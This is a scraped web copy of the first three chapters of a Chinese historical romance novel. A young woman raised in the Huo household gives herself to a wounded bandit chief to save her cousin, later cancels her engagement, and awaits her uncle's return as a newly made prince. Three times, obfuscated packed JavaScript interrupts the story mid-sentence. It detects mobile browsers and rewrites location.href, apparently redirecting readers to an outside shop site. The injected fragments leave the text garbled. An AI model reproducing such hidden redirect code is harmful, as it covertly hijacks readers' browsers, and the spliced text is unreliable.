《误与表叔同寝后》 1. 第 1 章 大昭三年,边境一位神秘战神崛起,敌寇再不敢入侵,百姓日子渐渐安稳。 祥和有序的燕京城,才入初秋的八月清晨,豆大雨滴已渗透出丝丝寒意,将庭院芭蕉打落得蔫头耷脑,毫无生气。 一如住在月桂居的主仆们。 本就在霍家谨小慎微多年,自打华姝从深山逃回来,人前人后更是抬不起头 即便霍家最低贱的粗使婆子,也敢肆意辱骂到院门前:“听说没有,今日宋尚书夫人要来,八成是退亲!” “一姑娘家在深山待大半月,能活着回来,要说没野男人给吃给住,谁信?” “以前瞧着府上几个姐儿里边,她最是才貌双全、端庄懂事,没想到最是放浪发骚,我呸!” “她算哪门子正经小姐?在霍家蹭吃蹭住多年,哄得老夫人赔上脸面,才为她求得一份高嫁姻缘……” 闺房内,华姝一袭单薄素色亵衣,平静望着窗外,任由冷风裹挟唾骂声入耳。 听了近一个时辰,神情近乎麻木。 她的贴身丫鬟,白术最先忍不住,气愤地打开院门,朝婆子们身上使劲抡起扫把,“你们说够了没有?都给我滚!” “丑事都做尽了,这半个月指不定怎么被野男人又摸又亲的,还怕人说啊?”婆子们一把薅过扫把,个个撇嘴讥笑。 “我家姑娘守宫砂完好,清清白白,此乃老夫人亲口所言。”另一贴身丫鬟,半夏追出去,拽住白术胳膊,皮笑肉笑地反问:“嬷嬷们要去找老夫人对峙吗?” 华姝知道,耳根子很快能清净了。 霍家三位老爷最是孝顺生母。即便二房夫人贵为县主,也得日日敬着老夫人。 婆子们不敢僭越,气呼呼扔掉扫把,临走前不忘诅咒:“拿着鸡毛当令箭!这次表姑娘已经伤透老夫人的心,看日后府上谁还会护着你们?” 白术指着她们大骂:“赶紧滚!有多远滚不远……” “行了!” 半夏呵斥住她,“你是嫌姑娘处境不够难过,还是嫌姑娘心里不够难过?” 房门从外推开,裹挟着湿冷秋风,吹动软菱纱帐上的玉珠坠子“叮当”作响 “姑娘是何时起的?” 白术走过来,忧切关心道。 双面绣屏风后,华姝将目光落在窗前的桂花树下,对周遭的动静置若罔闻。 西墙边,经过秋雨一夜冲刷,高洁的米黄花瓣,深陷入泥泞里,污浊不堪,再难回到从前。 “姑娘怎得光脚站地上?凉气都从脚入,还是您教奴婢……”白术絮叨着拿来鞋袜,扶着她坐到梳妆台前,伺候穿戴 没一会,半夏端着热腾腾早膳进门,故意逗趣:“有您爱吃的鸡丝小笼包呢。” 这些年承蒙老夫人庇佑,自家姑娘也争气,才貌礼仪样样出彩,凭得一手精湛医术入了宋尚书夫人的青眼。百里挑一的好姻缘,其余几位小姐都羡慕得急红眼。 眼看是正经的宋家少夫人,再不用寄人篱下。怎知婚前进山上香,竟…… “不必了,我去陪祖母一起用早膳。”华姝道。 “姑娘终于想通了!”白术大喜:“老夫人最疼您,若请得她老人家出面,亲事肯定黄不了。” “将婚书与宋公子庚帖,一并带上。” “姑娘要主动退亲?” 就连沉稳的半夏,亦是吃惊。 华姝细语平和,眸光决然:“是我有错在先,一人做事一人当。” 刚刚,那些婆子没说错。 深山茅草屋,眉骨带疤的粗犷野男人,被他压在魁岸身下,又亲又摸。 同床共枕半月,还是她主动的…… *那时还是夏末* 白日里,艳阳高照。她满怀对未来婚姻的美好憧憬,在霍家大房表姐的陪同下,拜佛祈福。山里气候多变,突遭瓢泼大雨,将马车冲下山道,昏死过去。 再醒来,竟掉进山匪窝! 恰巧山匪头子重伤,绑来无数大夫都没治好。她自幼学医,随身带有银针,竭力说服山匪们,挣得一线生机:被大雨冲下山道的大表姐,最后一丝生还的机会。 密闭潮湿的茅草屋内,药草味刺鼻,血腥味浓郁。 男人平躺在火炕上,身下铺着厚实柔软的老虎皮。他高大魁梧,双脚空悬在炕沿外,健硕的左侧大腿上缠满白色绷带,血迹斑驳。两眼紧闭,干裂厚唇毫无血色 华姝依次叩诊他两只麦色的阔腕,“贵主并非单纯受伤,是中毒。毒素聚集伤口边缘,伤口难愈合,人昏迷不醒。” “中毒?”跟进来的刀疤彪汉,诧异又怀疑:“先前几个大夫,可都没说过。” “我用银针放掉他伤口处的毒血,可保他短暂苏醒,届时您自行分辩。” 年纪轻轻,又是一介女流,极易被轻视。华姝只用事实说话。 解开绷带,银针刺下,藏在体内的稠黑毒血被逼出。片刻后,男人手指微动,徐徐睁眼。 “你还真有两把刷子!” 彪汉敬佩又惊喜,赶忙将男人扶坐起来。五大三粗的汉子,动作恭敬又谨慎:“老大,您感觉怎么样?” “我昏迷了多久?”男人重伤又中毒,嗓音依旧浑厚,声如擂鼓。 “已有五日,可吓坏大伙了。” “慌什么?”男人语速不急不缓,沉郁顿挫:“对方这几日……谁在那?!” 幽冷的视线,如刀子般射过来—— 最让她细思极恐的是,男人好像中毒失明了,眼神失焦。可在她没敢喘口大气的情况下,被他视线精准钳住! “是请来的女神医,多亏有她,您才能醒……” “出去。”男人冷声命令。 华姝被赶出门,惴惴不安等在院中,焦灼又惶恐。 背靠高山的破败院落里,十多个粗布麻衣的彪形壮汉,赤膊围坐松树下。身上新旧伤疤,大小斑驳。有人蹲身“咔咔”磨刀,锋利刀刃折射刺眼白光,惊恐渗人 她心中不停祈祷,祈祷男人赶紧昏倒。这样才有谈判机会,才能救人。 皇天不负有心人,半个时辰后,那壮汉拧眉走出来:“开药方,越快越好。” 华姝下一记猛药,男人很快重新苏醒 然而,鹿血的药效过于强劲,让他起了反应,血脉喷张,燥欲难耐。 油灯昏暗的茅草屋中,他半靠在炕头,受伤左腿平放,外侧的右腿曲起,盖着虎皮被子,堪堪遮住尴尬。 失血过多的脸,潮红一片,热汗淋漓。两只大手将虎皮被褥攥到变形,手背青筋狰狞凸起。 饶是如此抵制,身体反应不消反增。 深更半夜,雨珠噼里啪啦地敲打窗棱,却遮不住越来越粗重的呼吸声,弥漫在整个房间。 华姝被迫守在旁边,雪腮红得滴血。 大婚前夕,早已从教养嬷嬷那通晓人事。听得男人一声声压抑难耐的低喘,她恨不得找个地缝钻进去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782489|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但反复挣扎后,她搓了搓手指,主动解开衣裙,露出藕粉芙蓉小衣。 折下脊梁骨,也折去十六年来刻进骨子里的廉耻教养,裹挟着馨芳的体香,慢慢依偎到□□焚身的男人身上。 冷凉指尖颤抖着,触碰到他火热胸膛的刹那,明显虎躯一震,粗喘呼吸越发急促。 随后,滚烫粗粝的大掌,抚上了她纤软腰肢,烫得白嫩的肌肤阵阵寒颤,如坠寒渊。 虽在霍家不是正经的小姐,可也饱读诗书多年。如此轻贱的献媚,寻常妾室都不屑为之。 临到肌肤相亲的关头,华姝仍止不住地想退缩。 但茅草屋外,十数个满身刀疤的山匪彪汉,正虎视眈眈地等着。其中一人赤手空拳打死的野鹿,这会还倒在血泊里,冒着热乎气。 此时此地,除去一身皮肉,哪还有值得他们入眼的?与其被外面那些彪汉糟蹋,倒不如在山匪头子这搏一份欢心,求动他派人下山救援。 华姝咽下喉头酸涩,生生忍住退意。 一滴清泪,还是顺着眼角悄然滑落。 期盼多年的婚事,肯定保不住了。 怎料,“滚开!” 男人强劲有力的大手,忽地扣住她腰肢,狠狠朝地上一甩。 “老大,你怎么了?!” 门外的山匪们,听到屋里动静,猛地推门冲进来。 衣襟大敞的华姝,心瞬间提到嗓子眼。顾得满身酸痛,仓惶将自己裹成一团,缩进桌子下。 与此同时,一块玉佩笔直地飞射向门口,应声碎裂在那山匪脚下,将其逼得不敢再上前一步。 匆忙间,那山匪瞥见了桌下衣衫不整的华姝,察觉屋里微妙氛围,嘿嘿一笑,关门退出去。 “走走走,别打扰老大做新郎官。” 十来人沉重的脚步声,往远处去了。 起哄的笑闹声,宛若阵阵讥笑,狠狠一巴掌扇在华姝脸上。 “你也出去,否则那碎玉就是你的下场。” 男人本就压迫十足的周身气场,越发沉闷威压。不容置喙的语气,让人恍然生出一股他能号令千军万马的错觉。 华姝呼吸一紧,再度心生退意。 她做不到。 她真的做不到。 突然这时,“咔嚓——” 屋外雷雨更甚,救人迫在眉睫! 锃亮刺目的闪电,抽打着山脊,也好似抽打在她心涧,血肉模糊。 在霍家几年,除了老夫人,大表姐最照顾她。大表姐瘫痪多年,若无人救援,今夜难逃一死。今日又是陪她进山上香,才遭此劫难,华姝不能连累这么好的人枉死。 葱白纤手,攥紧发皱松散衣摆,又徒劳无力松开。重新起身,宛若一具行尸走肉走向炕边。 她咬了咬唇瓣,软语孱颤:“衣裙刚被您扯坏了,不好再出门。” “我没听到衣料撕裂声。” 男人咬牙强忍着,汗涔涔的宽额上,剑眉紧蹙。 右眉骨靠前三分处的斜短细疤,被进褶皱里,让他减少些许狠戾,平添几丝阳刚贵气。 平心而论,虽是山匪头子,其实长得并不丑。眉宇疏朗,星目炯然,深邃大气的五官好似书中常描绘的一代枭雄模样。 “……是衣襟的盘扣掉了。” 华姝心脏忽然砰砰跳得厉害,深吸了口气,潸然落泪的同时,主动牵起他滚烫粗粝的厚掌,往心口处放过去,“不信,您摸下……” 2. 第 2 章 霍家主屋,千竹堂。 华姝一路饱受各种打量的目光,怀着五味杂陈的心绪,缓步跨过院门。 自打从山里回来后,再没敢在老夫人跟前露面。好担心祖母会为她难过,亦或渐渐失望,再也不要她了。 幸运的是,主屋的丫鬟见她来了,一如既往热络地掀开帘子,“表姑娘总算来了,快请进。老夫人已经念叨好几次了,等会见到您,早膳一准能多吃半碗。” 华姝欣慰一笑:“多谢芸儿姐姐。” 走进屋时,三房的夫人和小姐们,已经依次候坐在中堂的太师椅上,包括怀孕四月有余的三夫人,都等着为老夫人请安。 她盈盈欠身,端庄行礼:“见过大伯母二伯母三婶娘、两位表姐,姝儿来迟了。” “不迟不迟,姝儿快过来坐。” 大表姐霍千羽坐在红木轮椅上,笑着朝她伸出手。 大夫人也欢喜附和:“是啊,我们也都刚到,你快坐。” 相比大房母女的亲近,二房三房的人只象征性笑了笑。不过谁都心照不宣地没再提起山里的事,应是老夫人特意吩咐过。 华姝挨着霍千羽坐下,大大方方问:“表姐身上的伤可大好了?” 霍千羽没想到她会主动提起,面露意外的同时,拉过她手握紧,“多亏了你,我伤得不重。倒是你自己,可好些了?” 霍千羽的一语双关,让华姝再度陷入回忆。 雨夜那晚,设法帮男人纾解完,她第一时间提出救人。餍足过后的男人,还算慷慨,随即吩咐山匪们连夜下山寻人。 他甚至周到地顾虑到女儿家的名声,将霍千羽送到山顶寺院,假称被大雨阻在半路、无奈折返。只是,却以鹿血药方要连喝半月为由,说什么都不肯放华姝离开。 次日天亮,霍家的人成功接回霍千羽,却是寻觅华姝不得。大伙都明白,霍千羽瘫痪多年,能死里逃生肯定是因为华姝做了什么,但她不肯多说便没再多问。 原本就多驾照佛的老夫人和大房中人,因此对她越发亲厚。 “表姑娘,老夫人今日戴发簪始终没选到可心的,让您进去帮她挑挑呢。”老夫人贴身的桂嬷嬷从内室走出来,言笑晏晏请人。 华姝明白,老夫人这是特意在人前给她长脸,自然不会拒绝。 霍千羽母女见状,都由衷为她高兴。二房的霍华羽忍不住撇嘴:“倒底谁才是亲生的?”然后被其母明和县主掐了下,悻悻闭嘴。三夫人怀着孕,这会只乐得自在。 内室里,年过半百的老夫人满头华发已梳整齐,凤穿牡丹的深黄锦衣,与翡翠镶金的牡丹簪子,搭配得相得益彰,雍容华贵。 眼角的鱼尾纹里,充满着爱怜。一见到华姝就心疼地抱进怀里,含着“心肝肉”落泪。 亲自教养了七八年的好姑娘,老人家是真心疼她,比亲孙女还疼。虽是三令五申交代下去,不准府中人再提及此事,但这深宅大院里上千张嘴,哪可能时时堵严? 华姝不想再惹老人家难过,看向房顶,强逼退泪水。故作轻松地伺候她重新净面,提及正事:“祖母,姝儿想退掉这门亲事。” “您教过我,强扭的瓜不甜。与其勉勉强强嫁去宋家,卑躬屈膝地活着,不如好聚好散。有医术在手,有霍家为我撑腰,日后姝儿还能挺直脊梁骨做人。” 相对于桂嬷嬷等人的惋惜不解,霍老夫人一点都不意外,自己养大的姑娘自己最清楚。 她摸着华姝的头,“好孩子,祖母都依你。不想嫁宋家咱就不嫁,等日后遇到合适的人,祖母亲自去为你说媒。即便一辈子不想嫁,祖母的贴己钱也养得起你。” 简短一句话,将她所有后路都想全了 “祖母……” 华姝这次再也忍不住了,泪水决堤。 祖孙俩抱在一块,痛哭好久。桂嬷嬷和贴身大丫鬟瞧着,也都湿了眼眶。 东方朝阳,橙红万丈,像是苍天给予的莫大鼓舞,又像是一个温暖怀抱,令人倍感安心。 * 再度被伺候着净脸后,祖孙俩走到外间的中堂,大伙一起热热闹闹用完早膳。 全程欢声笑语,若无其事。 不过饭菜还没撤下去,丫鬟就来通传:“启禀老夫人,宋尚书夫人到了。” 闻言,众人神色各异。 大房的霍千羽母女不由面露忧切,二房的霍华羽母女冷眼旁观,三房夫人继续喝着安胎药膳,反应淡淡。 老夫人跟华姝已私下通过气,这会神色平稳如常:“将早膳撤下去,请宋夫人进来。” 不多时,丫鬟重新从外挑开门帘,一位风姿绰约的中年贵妇,款款而入。 来人年仅四十,皮肤依旧白皙光润,可见保养得当。发髻簪满红宝石头面,青色罗裙是时下最新兴的烟纱苏锦智造。腰间所坠玉佩,与腕子一对乳白玉镯,也是从成块的羊脂暖玉上整副切割而得,身价翻了数倍。 宋夫人一进门就跟华姝对上了眼,没料到她会不避嫌,但很快不着痕迹挪开目光,朝上首老夫人欢笑见礼:“臣妇见过霍老夫人,老夫人万安。” 按理说,宋尚书官拜三品,霍家官职最高的二姥爷也才正四品,理应众人先向宋夫人见礼。 但老夫人乃正一品的郡主出身,完全受得起她这礼。倒也没仗势欺人,笑着吩咐:“快给宋夫人看坐。” 二房夫人又是正二品的明和县主,与大夫人恭敬坐在老夫人下首。故而宋夫人,也只得屈居在下。 宋夫人在一众人面前不敢自恃身份,起初只敢说些不咸不淡的客套话缓和关系。 后来等了半晌都不见华姝离开,她终于忍不住了,主动提及话茬:“老夫人,实不相瞒,臣妇此次前来是想重新商讨一下两家的这门婚事。” 老夫人本想顺水推舟,“宋夫人有何打算?” 哪知,宋家是里子面子都想要,“您也是知道,我家大郎去年初入官场,这一年破耗费精力。他又是实心眼的孩子,满心惦念着为百姓办事,暂时无暇顾及个人私事,这成亲的事不知得到何时。” 她状似慈爱地看向斜对面的华姝,“姝儿是个好姑娘,可不能被这么耽搁了。我也是真心喜欢她,想着说不若许配给我家二郎,到时候还能做婆媳。” 此话一出,房间陡然沉寂。 老夫人笑意全无不说,华姝等人看她的目光也冷凉下来。桂嬷嬷等人,更是止不住朝宋夫人甩眼刀子。 众所周知,宋家二郎乃室所出。嫡少夫人变庶子夫人,“还能做婆媳”的含义可是千差万别。 若寻常庶子也罢了,宋家二郎几次科考不中,颓废嫖赌,外室大着肚子找上门,满城笑话。 让华姝嫁给这种货色,无异于把她往火坑里推,霍家的脸面也得被人踩在脚底。 老夫人深谙其理,气得不轻。但教养使然,加之霍家这边出事在先,还是好言好语表示:“宋夫人的美意,我们霍家心领了。不过早前姝儿已同老婆子说明,想退掉这门亲事。婚书庚帖今日便可归还于你,从此两家孩子各自嫁娶,互不干预。” 宋夫人听完愣住,显然没料到华姝舍得主动退亲。 转而再想,郁闷至极。 她们宋家是何门第,哪轮到这般卑微出身的女子先行拒婚?尤其华姝不检点在先,理应她被退亲才对。这事传出去,甚是有损大郎颜面,宋夫人决不能允许。 于是她皮笑肉不笑,明知故问道:“敢问华姑娘,因何缘由想退亲呐?” 房内气压,更是冷寂到极点。 因何缘由,大家心里都明镜似的。宋夫人非要摆到台面上,那就是明目张胆要打霍家的脸。 这回,不仅老夫人气得让桂嬷嬷直抚胸脯,三位夫人也都坐不住了。 奈何大老爷和三老爷官职不高,俩夫人人微言轻。但二夫人明和县主可不惯着她: “我家婆母给宋夫人留着脸面,您见好就收吧。燕京城谁人不知,你家大郎体弱多病。我家表姑娘虽然医术精湛,但架不住他日夜为百姓奔波呀。怕年纪轻轻就守寡呗。” “噗哧——” 二表姐霍华羽忍不住为母亲竖起大拇指,论怼人,还得是她娘啊。 大表姐霍千羽也与华姝相视而笑,倍感解恨。 二夫人素来是刀子嘴豆腐心,家里斗得厉害,对面极其维护霍家。华姝由衷朝她感激一笑,结果被回复一记白眼。 华姝:“……”二伯母开心就好。 霍家人乐呵了,宋夫人气得脸色铁青,对二夫人怒目而视:“你——” 奈何对方是县主,她不能直接辱没。咬牙沉脸站起身,吩咐婢女:“去将庚帖和婚书换回来,咱们回府。不是一家人不进一家门,我倒要看看,霍家几个小姐都能嫁入哪户高门?!” 目光掠过霍千羽时,还特意挑衅看了眼瘫痪的双腿。 霍千羽也不甘示弱:“好死,不如赖活着……” “报——” 突然这时,有看门的小厮一路狂奔而来,顾不得通传,径直扑进来跪在地上,“老夫人大喜,大喜啊!” “何事慌慌张张?” 刚被宋夫人讥讽过家风,二夫人不悦训斥道。 “四爷……圣旨……镇南王……” 小厮一时太激动,跑得上气不接下气。 一听圣旨,大伙皆不敢轻视。大夫人安抚他,“不急,你将气喘匀乎了,慢慢说。” 小厮哪敢耽搁,稍稍气顺便匆忙回禀:“宫里传旨的内侍监已抵达正门外,说是咱家四爷在边境大捷,被圣上亲封为镇南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782490|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王,不日将率军队抵达燕京城哩!” “四爷……可是咱府上离家多年的四爷?”三夫人抚着孕肚问道。 她嫁进来晚,跟这位音信全无的小叔子从未见过。说离家多年都是委婉,大家都默认他早死在外头了,尸骨无存。 “是咱家四爷,千真万确!” 小厮嗓音宏亮,应得铿锵有力。 众人终于反应过来,都欢作一团。 老夫人更是喜极而泣:“臭小子,他还知道回来!小时候跟泼猴似的,我就知道他死不了。” “呸呸呸!老祖宗大吉大利,四弟大吉大利。”掌家的二夫人重新笑容明艳,张罗着下人赶紧接待贵宾,并通知三位老爷回来接旨。 大夫人则一脸笑意看向傻掉的宋夫人,“宋夫人,我送您出门吧。今日府上繁乱,就先不招待外来的客人了。” 大昭国少有的异姓王爷,霍家地位自此水涨船高。往后结交巴结的人,都得踏破门槛。 大夫人一句话,与宋家清清楚楚划清干系,可谓是狠狠出了口恶气。 宋夫人尴尬地赔笑,才撕破这会想说什么弥补弥补都晚了,悻悻被请离霍家。 华姝几人瞧见,别提多解气,随后陪在老夫人身边,伺候着穿戴起接旨的正式华服。 华姝心细,不忘叮嘱白术,多给小厮一些报喜的赏钱。祖母连贴己的钱都舍得留给她,这会自掏腰包又算什么? * 云天收夏色,木叶动风声。四时俱可喜,最好初秋时。 自打霍家接到圣旨,府内连日暖阳光影渐斜,枝头沙沙攒动,雀儿活跃啁啾,好不鲜活。 “那箱都是玉器,且小心着点!” “这箱金器最是贵重,不可磕碰半分……” 这几日,二夫人紧急从库房遴选最上等的摆件,指挥下人全搬进四爷霍霆的清枫斋。 华姝扶着老夫人过来查看时,二夫人正叉腰站在屋门口,亲眼盯着,布置妥帖。 一瞧见她们就迎上前,搀扶着老夫人,“母亲怎么亲自过来了?有事命人通传我过去便是。” “不碍事,是我想来瞧瞧。” 老夫人缓步走进清枫斋主屋,瞧着熟悉的屋子,不免睹物思人。 “好多年没来了,我不敢来。连画像都让桂嬷嬷收了起来,不敢看,就怕梦到他在外出事。” 她摸摸那床头,又比划着书案的高度,泣不成声:“当年刚抱回来时,还没这桌子高,一晃就变成大将军了,我儿争气啊!这些年在外面,也不知一个人吃了多少苦,受没受伤……” “祖母,这是喜事。回头你哭坏了眼睛,四叔回来得多心疼呐。”华姝微笑着为老夫人拭泪,撒娇逗趣道:“我还在这呢,你这有了儿子就忘了孙女,姝儿可不依。” 老人家破涕而笑:“对对,还有咱家姝儿呢。这些年少个儿子,多了孙女,祖母开心地很。” “您开心就好,是我们小辈之福。” 眼看气氛渲染到位,二夫人笑盈盈接过话茬,适时提出多日的心头顾虑:“虽说四弟从前住在清枫斋,但倒底偏了些,他如今贵为王爷,再安排在此地是否有碍身份?” 华姝眨了眨眼,没再多言。 按大昭惯例,圣上会赐予王府。四叔若住过去,便与分家分异。 寻常人这般做,定被戳着脊梁骨指责不孝不义。四叔是祖母的养子,旁人不好说三道四,何况是人人敬仰的战神? 但如此一来,霍家其余三房能沾得好处就少了。二伯母,这是在变相打探祖母的态度呢。 老夫人哪会不懂? 她听完,笑着打起太极:“这臭小子一走七八年,连封平安信都没有,一点不知道想我。他还敢有脾气?我到时候就将他打出去,爱谁要谁要。” 模棱两可的态度,让二夫人讨个没趣,也不敢再深问。片刻后,借口有事走开了。 她走后,祖孙俩一边往外走,一边说起贴己话:“姝儿,你怎么看?” 华姝扶着她,莞尔道:“祖母愿意尊重姝儿的婚事,想来也会尊重四叔的意愿吧。” “瞧瞧,还是这丫头最懂我。”老夫人拍拍她手,同桂嬷嬷笑道。 桂嬷嬷也笑着附和:“谁说不是呢?表小姐和四爷都是您亲手养大的,一样地孝顺懂事。” 华姝腼腆一笑,梨涡浅浅。 “不过有两点,祖母还是要提醒你。” 老夫人走到清枫斋门口,停下脚步,看着对面华姝的月桂居,鱼尾纹掬起一抹慈爱的笑意: “其一,你同小四住得最近。 其二,他同你父亲关系最是亲厚。 日后你多孝敬着,让他为你物色一门好亲事。咱家姝儿这么好的姑娘,找夫婿也值得最好的。” 3. 第 3 章 祖母的时刻惦念,让华姝心头暖洋洋的。但这话茬,她却没应。 不敢应。 没脸应。 华姝的亲祖母,与霍老夫人是闺中挚友,嫁人后常有走动。据说,父亲年幼时没少往霍家跑,应是那时与四叔接下来的缘分。 父亲生前清白一世,四叔定也是极有风骨之人。毕竟这世间没几人,愿意放弃舒适优渥的世家生活,一扎根在风沙漫天的边境,浴血奋战就是七八年。 若是被四叔知晓她做得那些丑事,还不知得怎样恨她、怪她给父亲丟尽颜面吧…… 华姝送老夫人回去后,已是日落黄昏。顶着漫天暗沉沉的夕阳,主仆三人往月桂居折返。 晚风渐凉,她搓了搓手臂。 半夏贴心为她披上暗红色的石榴披风,“奴婢多嘴一句,姑娘想开些。四爷是老夫人一手养大的,定也同老夫人一般心明眼亮。” “老夫人都明确发话了,四爷肯定会为您物色一门好亲事。”白术也道:“奴婢回头就去打听四爷的吃食喜好,咱们近水楼台先得月,先抓住四爷的胃!再笼络住四爷的心!” 华姝被逗笑:“你就知道吃。四叔可是战神,才瞧不上……见过大表兄。” 主仆三人绕过垂花门,刚走上林荫石子小路,抬眼就瞧见长身玉立在湖边的霍玄,大房霍千羽的胞弟,霍家嫡长孙。 十七岁的温润美少年,身后跟着书童和侍卫。他眉眼如玉,柔和无害。一袭低调的鸦青长衫,透着浓郁的儒雅气。 华姝顺势近前打招呼。 白术和半夏识趣留在原地,不远不近地候着。 “表妹是刚从祖母那回来?” 霍玄主动挑起话题。 “陪祖母去四叔的院子转了转。”华姝微笑道:“表兄也是为四叔特意从学院赶回来的吧?” 霍家大房和二房各有一位嫡子,未及弱冠,大多时住在学院潜心苦读。此次四叔大捷封王,全家人都很重视。二伯父一早就命人去学院传话,让两人尽快归家,恭候四叔班师回朝。 “不止为四叔。” 少女温婉知礼,让霍霖忍不住侧目。 笑起来梨涡朵朵,在夕阳照耀下,清甜又明媚。尤其那双狗狗眼,乍看干净无辜,细看又清纯懵懂得引人亲近,想保护。 环顾四周没有外人,他压低声音,耳朵微红:“也为了表妹。” 空气突然安静,一缕细细晚风萦绕在两人周围,气愤变得微妙起来。 瞧着少年投来的真挚目光,华姝半懂未懂,一时不敢多言。 霍玄知道女孩家脸皮薄,这层窗户纸需得由他挑破,“此事,是我失礼了。但今日归家后,得知表妹被退婚,我既心疼又兴奋,像是上天的恩赐,让我终于等到求娶你的机会。” “多年相处,我自是相信表妹的为人,不疑半分。只待过几日放榜后,若能争得殿试资格,有了正经官职,霍玄定备得丰厚聘礼,向你正式提亲。” 怕她不信,他还举手发誓:“今日此言,句句肺腑。来时已同母亲商议,她也欢喜,盼你做她的……”儿媳。 一句句饱含万分理解的话语,如晚风吹动湖面般,也吹乱华姝的心湖,荡漾起阵阵涟漪。 大表兄霍玄这些年对她照顾也不少,为人端方君子,亦是燕京城众多女子的择偶首选。尤其是霍家变为镇南王府之后。 大伯母时不时也会关心她,霍千羽有的礼物,常常会多备一份给她。大表姐本人更没得说,是亲人也是挚友。如果能和她们做婆媳、做妯娌,还能继续陪着祖母,未来日子肯定舒坦。 听得霍玄真心话,华姝有些心动。 可山里几日,肌肤相亲真切发生过。 从祖母那学来的多年教导,让她不齿欺骗他们的信任,心中转而万分愧疚难当。 华姝搓搓指尖,勉强挤出笑意:“说起殿试,还未来得及祝愿表兄,科考大成,金榜题名。” 为避免直接拒绝引起尴尬,她默默转移话题,很快叫上白术和半夏离开。 霍玄望着她渐行渐远的纤细鹅黄背影,回忆着她一颦一笑的恬美可人,痴痴站了许久。 表妹没答应也没拒绝,就还有机会。 她需要些时日消化山中事,他就趁此时日好生准备殿试,一举挣得功名,让她风光大嫁,堵住燕京城所有人的嘴! * 一场秋雨一场寒,日子辗转八月底。 四爷霍霆的归期临近,来霍家递拜帖的人越来越多。 三位老爷尽可能闭门谢客,不擅自为弟弟欠下人情债。夫人们谢绝宴席邀请,专心在府中筹办各项章程,教导小辈们面见王爷的礼仪。 大到燕京城,小到霍家,都仿佛在备战。东南边境的战火,似以另一种方式烧到北部中原。 “镇南王归来,燕京城要变天了!” 大夫人为此累倒,华姝前往白鹭院侍疾,“您身子已大好,再吃两副汤药,寒症就能消退。” “这几日多亏有姝儿。” 大夫人靠在青纱罗帐床头,盖着软缎锦被,拉起她手说话,“府上都在忙四弟的事,难得你惦记着我。” “府中大事皆有长辈操持,姝儿帮衬不上,也就医术还能派上些用场。” “就你这丫头实心眼!瞧瞧那两位表姑娘,这会又在千竹堂装乖卖巧呢吧?” 二夫人表妹沈青禾,和三夫人胞妹阮糖,借着探亲的名头来霍家小住。两人皆是适嫁年纪,得知二十八岁的镇南王此前忙于战事,尚未娶妻,都想近水楼台先得月,争一争王妃之位。 自住进霍家,她们日日往千竹堂跑,陪老夫人打叶子牌,变着法子逗乐子。 一度将华姝,都挤得没地呆。 事关长辈婚事,她自认没什么好争的,索性给她们腾出位置。 “不去正好。大伯母要将你藏严实些,好留给自家儿子。”大夫人笑容可掬。 这丫头是她亲眼看着长大的,各方面都合心。虽说先前稍有差池,但清白尚在。何况不惜救她闺女一命,又颇得他儿子欢喜,大夫人琢磨着当儿媳也挺好。 “我听玄哥儿说,他前几日都与你说明白了?” 华姝听得面颊一热,后知后觉对方貌似误会了,“大伯母,我那日的意思,其实是……” “夫人,四爷回府了!” 忽然这时,丫鬟气喘吁吁跑进通传。 大夫人坐直身子,面露诧异:“不是说要两日后吗?” “这……奴婢不知,只知道马车这会已到门口。三位老爷已带着少爷们先行迎接。”丫鬟磕磕绊绊答道:“过来的路上,二夫人和三夫人也都往老夫人那儿去了。” “好啊!一个个都巴巴去献殷勤,就不叫我。”大夫人忙吩咐更衣,“快,咱也快点过去。” “您有病在身,想来四叔会理解。” 对四叔无所求的华姝,相对平静许多,帮着挑件厚实的披风,“您多穿些,切莫再着凉了。” 丫鬟们很快鱼贯而入,净面的净面,梳妆的梳妆……屋子顿时忙作一团,胜在闹中有序。 不多时,霍千羽闻讯过来。娘仨穿戴整齐,齐齐往千竹堂赶。 * 天幕飘起零星小雨,秋风寒涩阵阵。 青石板路被淋湿,地面变得滑擦。 霍千羽坐轮椅,走不快。 华姝就撑伞陪着她,慢慢跟在后面。 两人都不是争名逐利的性子,此次只为全一份对长辈的孝道、对民族英雄的敬意。 华姝甚至都有点犯怵,总担心她的丑事会给四叔的战神身份抹黑,会为他不喜、不齿。 霍千羽瞧着自家老母亲在前面脚下生风,悄悄打趣:“我娘这病,提前好了呢。” 华姝朱唇微勾:“确实瞧不出病态了。看来四叔不仅是战神,还是药神……” “药到病除!哈哈……” 两人有说有笑,一路走到千竹堂院门口,远远就望见主屋台阶前乌泱泱一大群人。 各色油纸伞里三层外三层围着,也瞧不见中间那位令整座燕京城都兴师动众的威武四叔,只能通过每人的声音辨认。 “我的儿啊,你终于回来了!” 先前扬言要将人打出去的老夫人,应是不顾下雨,亲自出门相迎,哽咽又委屈:“娘都担心闭上眼那日,都再瞧不见你。” “四弟这不回来了么?母亲,此乃喜事。”大老爷温润劝道。 “四弟独自在边疆征战这些年,定也是念着母亲的。”二老爷话带威严。 三爷性子活脱:“您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 